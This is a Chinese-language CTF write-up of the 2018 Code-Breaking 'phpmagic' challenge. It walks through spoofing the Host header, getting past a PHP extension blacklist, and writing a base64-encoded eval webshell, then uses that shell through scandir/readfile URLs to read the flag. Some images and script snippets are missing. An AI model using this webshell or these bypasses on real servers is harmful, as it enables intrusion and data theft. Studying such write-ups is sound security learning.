您当前的位置: 首页 >  php

合天网安实验室

暂无认证

  • 1浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

2018-Code-Breaking-4-phpmagic

合天网安实验室 发布时间:2020-03-24 10:58:23 ,浏览量:1

原创作者:一叶飘零

前言

前些日子有些忙,没有继续做,现在跟进,先看下之前做的几道题: 2018 Code Breaking(1) & function :关于\的trick 2018 Code Breaking(2) & pcrewaf:关于正则回溯的bypass手段 2018 Code Breaking(3) & phplimit:php无参数函数执行RCE 今天研究一下phpmagic这道题

题目概述

拿到题目

http://106.14.114.127:24004/?read-source=1

发现源代码如下


.......

注意到题目首先创建了一个沙盒做用户分割

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

然后接受用户传入的2个值

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

然后对用户输入的$domain进行拼接命令执行

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

然后将命令执行结果写入文件,并打印出来

$log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output); }
     echo $output;
攻击点探索

这里不难顺着题目想到,此题应该是bypass拼接,进行我们想要的命令执行。 那么这里思路可以分为2种: 1.利用文件保存功能留一个shell 2.直接进行RCE,因为执行结果会打印出来 这里我比较趋向于第一种,因为第二种我们需要bypass

escapeshellarg()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1UPJgWkC-1585018664164)(/images/2019-03-28-13-23-26.png)] 直接进行命令执行不是太方便,每次都要考虑Bypass的问题,而写一个Shell,只要bypass一次,一劳永逸。 同时更关键的一点,如果我们想走第二条路径,就要控制以下指令的返回值

$command = sprintf("dig -t A -q %s", escapeshellarg($domain));

常见并列执行命令方式如下

cat sky.c && ls

但这里由于escapeshellarg()的存在,我们的输入变为

dig -t A -q '&& ls'

失去并列执行的意义,所以这里考虑第1条路径:写shell 想要写shell的话,还是会遇到几项问题: 1.控制写入路径 2.bypass 黑名单 3.控制写入内容

控制写入路径

如果想要控制写入路径,那么势必关注写入函数,其中可能带有危险操作

file_put_contents($log_name, $output);

对于$log_name我们可以跟踪到

$log_name = $_SERVER['SERVER_NAME'] . $log_name;

关于这项操作,我们发现文件路径会拼接

$_SERVER['SERVER_NAME']

那么这个值是做什么的呢?我们查阅官方手册 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FPFWn8BP-1585018664165)(/images/2019-03-28-13-42-15.png)] 官方手册中提示如果不设置 UseCanonicalName = On 和 ServerName,那么则可能被客户端进行伪造 我们不妨写如下脚本进行测试


得到

PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4=

这里需要注意base64不要带有==,因为我们插入的base64在文本中间 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3qZrdrUj-1585018664189)(/images/2019-03-28-14-33-09.png)] 而==是出现在base64结尾的,会导致解码错误 所有我们把=换成

PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4a

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-myUhgYyW-1585018664192)(/images/2019-03-28-14-53-26.png)] 我们进行测试 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3pH0oUP7-1585018664196)(/images/2019-03-28-14-46-00.png)] 访问

http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir('./'));

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Djn3KtWx-1585018664199)(/images/2019-03-28-14-54-34.png)] 继续上跳

http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir(%27../../../%27));

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Aoszm4qV-1585018664204)(/images/2019-03-28-14-55-29.png)] 发现flag,我们读取

http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=readfile(%27../../../flag_phpmag1c_ur1%27);

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TNiHxopz-1585018664206)(/images/2019-03-28-14-56-29.png)]

后记

这道题并不难,主要涉及几个php trick: 1.$_SERVER['SERVER_NAME']可通过Host进行伪造 2./.可用来bypass文件后缀黑名单 3.php伪协议可用来base64 bypass写入内容

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0990s